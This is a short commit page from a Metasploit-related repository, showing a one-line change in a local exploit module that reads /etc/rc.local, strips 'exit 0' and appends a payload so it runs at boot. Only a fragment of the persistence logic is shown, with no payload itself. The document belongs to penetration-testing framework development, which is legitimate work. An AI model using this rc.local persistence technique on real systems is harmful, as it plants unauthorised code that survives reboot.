Handle file patching on framework side

GSoC/Meterpreter_Web_Console
Eliott Teissonniere 2018-07-16 11:54:37 +02:00
parent aa58634b24
commit c84eb9fee9
1 changed files with 1 additions and 1 deletions

View File

@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Local
print_status('Reading /etc/rc.local') print_status('Reading /etc/rc.local')
# read /etc/rc.local, but remove `exit 0` # read /etc/rc.local, but remove `exit 0`
rc_local = cmd_exec('cat /etc/rc.local | grep -v "exit 0"') rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '')
# add payload and put back `exit 0` # add payload and put back `exit 0`
rc_local += [ rc_local += [